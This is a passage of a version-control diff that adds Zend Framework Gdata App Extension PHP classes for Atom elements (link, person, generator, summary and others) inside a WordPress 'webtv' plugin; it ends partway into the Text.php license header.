+
+/**
+ * @see Zend_Gdata_App_Extension
+ */
+require_once 'Zend/Gdata/App/Extension.php';
+
+/**
+ * Class that represents elements which were not handled by other parsing
+ * code in the library.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage App
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_App_Extension_Element extends Zend_Gdata_App_Extension
+{
+
+    public function __construct($rootElement=null, $rootNamespace=null, $rootNamespaceURI=null, $text=null){
+        parent::__construct();
+        $this->_rootElement = $rootElement;
+        $this->_rootNamespace = $rootNamespace;
+        $this->_rootNamespaceURI = $rootNamespaceURI;
+        $this->_text = $text;
+    }
+
+    public function transferFromDOM($node)
+    {
+        parent::transferFromDOM($node);
+        $this->_rootNamespace = null;
+        $this->_rootNamespaceURI = $node->namespaceURI;
+        $this->_rootElement = $node->localName;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/Extension/Email.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/Extension/Email.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/Extension/Email.php	(revision 44)
@@ -0,0 +1,48 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage App
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_App_Extension
+ */
+require_once 'Zend/Gdata/App/Extension.php';
+
+/**
+ * Represents the atom:email element
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage App
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_App_Extension_Email extends Zend_Gdata_App_Extension
+{
+
+    protected $_rootElement = 'email';
+
+    public function __construct($text = null)
+    {
+        parent::__construct();
+        $this->_text = $text;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/Extension/Generator.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/Extension/Generator.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/Extension/Generator.php	(revision 44)
@@ -0,0 +1,114 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage App
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_App_Extension
+ */
+require_once 'Zend/Gdata/App/Extension.php';
+
+/**
+ * Represents the atom:generator element
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage App
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_App_Extension_Generator extends Zend_Gdata_App_Extension
+{
+
+    protected $_rootElement = 'generator';
+    protected $_uri = null;
+    protected $_version = null;
+
+    public function __construct($text = null, $uri = null, $version = null)
+    {
+        parent::__construct();
+        $this->_text = $text;
+        $this->_uri = $uri;
+        $this->_version = $version;
+    }
+
+    public function getDOM($doc = null, $majorVersion = 1, $minorVersion = null)
+    {
+        $element = parent::getDOM($doc, $majorVersion, $minorVersion);
+        if ($this->_uri !== null) {
+            $element->setAttribute('uri', $this->_uri);
+        }
+        if ($this->_version !== null) {
+            $element->setAttribute('version', $this->_version);
+        }
+        return $element;
+    }
+
+    protected function takeAttributeFromDOM($attribute)
+    {
+        switch ($attribute->localName) {
+        case 'uri':
+            $this->_uri = $attribute->nodeValue;
+            break;
+        case 'version':
+            $this->_version= $attribute->nodeValue;
+            break;
+        default:
+            parent::takeAttributeFromDOM($attribute);
+        }
+    }
+
+    /**
+     * @return Zend_Gdata_App_Extension_Uri
+     */
+    public function getUri()
+    {
+        return $this->_uri;
+    }
+
+    /**
+     * @param Zend_Gdata_App_Extension_Uri $value
+     * @return Zend_Gdata_App_Entry Provides a fluent interface
+     */
+    public function setUri($value)
+    {
+        $this->_uri = $value;
+        return $this;
+    }
+
+    /**
+     * @return Zend_Gdata_App_Extension_Version
+     */
+    public function getVersion()
+    {
+        return $this->_version;
+    }
+
+    /**
+     * @param Zend_Gdata_App_Extension_Version $value
+     * @return Zend_Gdata_App_Entry Provides a fluent interface
+     */
+    public function setVersion($value)
+    {
+        $this->_version = $value;
+        return $this;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/Extension/Icon.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/Extension/Icon.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/Extension/Icon.php	(revision 44)
@@ -0,0 +1,48 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage App
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_App_Extension
+ */
+require_once 'Zend/Gdata/App/Extension.php';
+
+/**
+ * Represents the atom:icon element
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage App
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_App_Extension_Icon extends Zend_Gdata_App_Extension
+{
+
+    protected $_rootElement = 'icon';
+
+    public function __construct($text = null)
+    {
+        parent::__construct();
+        $this->_text = $text;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/Extension/Id.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/Extension/Id.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/Extension/Id.php	(revision 44)
@@ -0,0 +1,48 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage App
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_App_Extension
+ */
+require_once 'Zend/Gdata/App/Extension.php';
+
+/**
+ * Represents the atom:id element
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage App
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_App_Extension_Id extends Zend_Gdata_App_Extension
+{
+
+    protected $_rootElement = 'id';
+
+    public function __construct($text = null)
+    {
+        parent::__construct();
+        $this->_text = $text;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/Extension/Link.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/Extension/Link.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/Extension/Link.php	(revision 44)
@@ -0,0 +1,218 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage App
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+/**
+ * Data model for representing an atom:link element
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage App
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_App_Extension_Link extends Zend_Gdata_App_Extension
+{
+
+    protected $_rootElement = 'link';
+    protected $_href = null;
+    protected $_rel = null;
+    protected $_type = null;
+    protected $_hrefLang = null;
+    protected $_title = null;
+    protected $_length = null;
+
+    public function __construct($href = null, $rel = null, $type = null,
+            $hrefLang = null, $title = null, $length = null)
+    {
+        parent::__construct();
+        $this->_href = $href;
+        $this->_rel = $rel;
+        $this->_type = $type;
+        $this->_hrefLang = $hrefLang;
+        $this->_title = $title;
+        $this->_length = $length;
+    }
+
+    public function getDOM($doc = null, $majorVersion = 1, $minorVersion = null)
+    {
+        $element = parent::getDOM($doc, $majorVersion, $minorVersion);
+        if ($this->_href !== null) {
+            $element->setAttribute('href', $this->_href);
+        }
+        if ($this->_rel !== null) {
+            $element->setAttribute('rel', $this->_rel);
+        }
+        if ($this->_type !== null) {
+            $element->setAttribute('type', $this->_type);
+        }
+        if ($this->_hrefLang !== null) {
+            $element->setAttribute('hreflang', $this->_hrefLang);
+        }
+        if ($this->_title !== null) {
+            $element->setAttribute('title', $this->_title);
+        }
+        if ($this->_length !== null) {
+            $element->setAttribute('length', $this->_length);
+        }
+        return $element;
+    }
+
+    protected function takeAttributeFromDOM($attribute)
+    {
+        switch ($attribute->localName) {
+        case 'href':
+            $this->_href = $attribute->nodeValue;
+            break;
+        case 'rel':
+            $this->_rel = $attribute->nodeValue;
+            break;
+        case 'type':
+            $this->_type = $attribute->nodeValue;
+            break;
+        case 'hreflang':
+            $this->_hrefLang = $attribute->nodeValue;
+            break;
+        case 'title':
+            $this->_title = $attribute->nodeValue;
+            break;
+        case 'length':
+            $this->_length = $attribute->nodeValue;
+            break;
+        default:
+            parent::takeAttributeFromDOM($attribute);
+        }
+    }
+
+    /**
+     * @return string|null
+     */
+    public function getHref()
+    {
+        return $this->_href;
+    }
+
+    /**
+     * @param string|null $value
+     * @return Zend_Gdata_App_Entry Provides a fluent interface
+     */
+    public function setHref($value)
+    {
+        $this->_href = $value;
+        return $this;
+    }
+
+    /**
+     * @return string|null
+     */
+    public function getRel()
+    {
+        return $this->_rel;
+    }
+
+    /**
+     * @param string|null $value
+     * @return Zend_Gdata_App_Entry Provides a fluent interface
+     */
+    public function setRel($value)
+    {
+        $this->_rel = $value;
+        return $this;
+    }
+
+    /**
+     * @return string|null
+     */
+    public function getType()
+    {
+        return $this->_type;
+    }
+
+    /**
+     * @param string|null $value
+     * @return Zend_Gdata_App_Entry Provides a fluent interface
+     */
+    public function setType($value)
+    {
+        $this->_type = $value;
+        return $this;
+    }
+
+    /**
+     * @return string|null
+     */
+    public function getHrefLang()
+    {
+        return $this->_hrefLang;
+    }
+
+    /**
+     * @param string|null $value
+     * @return Zend_Gdata_App_Entry Provides a fluent interface
+     */
+    public function setHrefLang($value)
+    {
+        $this->_hrefLang = $value;
+        return $this;
+    }
+
+    /**
+     * @return string|null
+     */
+    public function getTitle()
+    {
+        return $this->_title;
+    }
+
+    /**
+     * @param string|null $value
+     * @return Zend_Gdata_App_Entry Provides a fluent interface
+     */
+    public function setTitle($value)
+    {
+        $this->_title = $value;
+        return $this;
+    }
+
+    /**
+     * @return string|null
+     */
+    public function getLength()
+    {
+        return $this->_length;
+    }
+
+    /**
+     * @param string|null $value
+     * @return Zend_Gdata_App_Entry Provides a fluent interface
+     */
+    public function setLength($value)
+    {
+        $this->_length = $value;
+        return $this;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/Extension/Logo.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/Extension/Logo.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/Extension/Logo.php	(revision 44)
@@ -0,0 +1,48 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage App
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_App_Extension
+ */
+require_once 'Zend/Gdata/App/Extension.php';
+
+/**
+ * Represents the atom:logo element
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage App
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_App_Extension_Logo extends Zend_Gdata_App_Extension
+{
+
+    protected $_rootElement = 'logo';
+
+    public function __construct($text = null)
+    {
+        parent::__construct();
+        $this->_text = $text;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/Extension/Name.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/Extension/Name.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/Extension/Name.php	(revision 44)
@@ -0,0 +1,47 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage App
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_App_Extension
+ */
+require_once 'Zend/Gdata/App/Extension.php';
+
+/**
+ * Represents the atom:name element
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage App
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_App_Extension_Name extends Zend_Gdata_App_Extension
+{
+
+    protected $_rootElement = 'name';
+
+    public function __construct($text = null)
+    {
+        parent::__construct();
+        $this->_text = $text;
+    }
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/Extension/Person.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/Extension/Person.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/Extension/Person.php	(revision 44)
@@ -0,0 +1,162 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage App
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_App_Extension
+ */
+require_once 'Zend/Gdata/App/Extension.php';
+
+/**
+ * @see Zend_Gdata_App_Extension_Name
+ */
+require_once 'Zend/Gdata/App/Extension/Name.php';
+
+/**
+ * @see Zend_Gdata_App_Extension_Email
+ */
+require_once 'Zend/Gdata/App/Extension/Email.php';
+
+/**
+ * @see Zend_Gdata_App_Extension_Uri
+ */
+require_once 'Zend/Gdata/App/Extension/Uri.php';
+
+/**
+ * Base class for people (currently used by atom:author, atom:contributor)
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage App
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+abstract class Zend_Gdata_App_Extension_Person extends Zend_Gdata_App_Extension
+{
+
+    protected $_rootElement = null;
+    protected $_name = null;
+    protected $_email = null;
+    protected $_uri = null;
+
+    public function __construct($name = null, $email = null, $uri = null)
+    {
+        parent::__construct();
+        $this->_name = $name;
+        $this->_email = $email;
+        $this->_uri = $uri;
+    }
+
+    public function getDOM($doc = null, $majorVersion = 1, $minorVersion = null)
+    {
+        $element = parent::getDOM($doc, $majorVersion, $minorVersion);
+        if ($this->_name != null) {
+            $element->appendChild($this->_name->getDOM($element->ownerDocument));
+        }
+        if ($this->_email != null) {
+            $element->appendChild($this->_email->getDOM($element->ownerDocument));
+        }
+        if ($this->_uri != null) {
+            $element->appendChild($this->_uri->getDOM($element->ownerDocument));
+        }
+        return $element;
+    }
+
+    protected function takeChildFromDOM($child)
+    {
+        $absoluteNodeName = $child->namespaceURI . ':' . $child->localName;
+        switch ($absoluteNodeName) {
+        case $this->lookupNamespace('atom') . ':' . 'name':
+            $name = new Zend_Gdata_App_Extension_Name();
+            $name->transferFromDOM($child);
+            $this->_name = $name;
+            break;
+        case $this->lookupNamespace('atom') . ':' . 'email':
+            $email = new Zend_Gdata_App_Extension_Email();
+            $email->transferFromDOM($child);
+            $this->_email = $email;
+            break;
+        case $this->lookupNamespace('atom') . ':' . 'uri':
+            $uri = new Zend_Gdata_App_Extension_Uri();
+            $uri->transferFromDOM($child);
+            $this->_uri = $uri;
+            break;
+        default:
+            parent::takeChildFromDOM($child);
+            break;
+        }
+    }
+
+    /**
+     * @return Zend_Gdata_App_Extension_Name
+     */
+    public function getName()
+    {
+        return $this->_name;
+    }
+
+    /**
+     * @param Zend_Gdata_App_Extension_Name $value
+     * @return Zend_Gdata_App_Entry Provides a fluent interface
+     */
+    public function setName($value)
+    {
+        $this->_name = $value;
+        return $this;
+    }
+
+    /**
+     * @return Zend_Gdata_App_Extension_Email
+     */
+    public function getEmail()
+    {
+        return $this->_email;
+    }
+
+    /**
+     * @param Zend_Gdata_App_Extension_Email $value
+     * @return Zend_Gdata_App_Extension_Person Provides a fluent interface
+     */
+    public function setEmail($value)
+    {
+        $this->_email = $value;
+        return $this;
+    }
+
+    /**
+     * @return Zend_Gdata_App_Extension_Uri
+     */
+    public function getUri()
+    {
+        return $this->_uri;
+    }
+
+    /**
+     * @param Zend_Gdata_App_Extension_Uri $value
+     * @return Zend_Gdata_App_Extension_Person Provides a fluent interface
+     */
+    public function setUri($value)
+    {
+        $this->_uri = $value;
+        return $this;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/Extension/Published.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/Extension/Published.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/Extension/Published.php	(revision 44)
@@ -0,0 +1,48 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage App
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_App_Extension
+ */
+require_once 'Zend/Gdata/App/Extension.php';
+
+/**
+ * Represents the atom:published element
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage App
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_App_Extension_Published extends Zend_Gdata_App_Extension
+{
+
+    protected $_rootElement = 'published';
+
+    public function __construct($text = null)
+    {
+        parent::__construct();
+        $this->_text = $text;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/Extension/Rights.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/Extension/Rights.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/Extension/Rights.php	(revision 44)
@@ -0,0 +1,48 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage App
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_App_Extension_Text
+ */
+require_once 'Zend/Gdata/App/Extension/Text.php';
+
+/**
+ * Represents the atom:rights element
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage App
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_App_Extension_Rights extends Zend_Gdata_App_Extension_Text
+{
+
+    protected $_rootElement = 'rights';
+
+    public function __construct($text = null)
+    {
+        parent::__construct();
+        $this->_text = $text;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/Extension/Source.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/Extension/Source.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/Extension/Source.php	(revision 44)
@@ -0,0 +1,45 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage App
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_App_Entry
+ */
+require_once 'Zend/Gdata/App/Entry.php';
+
+/**
+ * @see Zend_Gdata_App_FeedSourceParent
+ */
+require_once 'Zend/Gdata/App/FeedSourceParent.php';
+
+/**
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage App
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_App_Extension_Source extends Zend_Gdata_App_FeedSourceParent
+{
+
+    protected $_rootElement = 'source';
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/Extension/Subtitle.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/Extension/Subtitle.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/Extension/Subtitle.php	(revision 44)
@@ -0,0 +1,42 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage App
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_App_Extension_Text
+ */
+require_once 'Zend/Gdata/App/Extension/Text.php';
+
+/**
+ * Represents the atom:subtitle element
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage App
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_App_Extension_Subtitle extends Zend_Gdata_App_Extension_Text
+{
+
+    protected $_rootElement = 'subtitle';
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/Extension/Summary.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/Extension/Summary.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/Extension/Summary.php	(revision 44)
@@ -0,0 +1,42 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage App
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_App_Extension_Text
+ */
+require_once 'Zend/Gdata/App/Extension/Text.php';
+
+/**
+ * Represents the atom:summary element
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage App
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_App_Extension_Summary extends Zend_Gdata_App_Extension_Text
+{
+
+    protected $_rootElement = 'summary';
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/Extension/Text.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/Extension/Text.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/Extension/Text.php	(revision 44)
@@ -0,0 +1,89 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
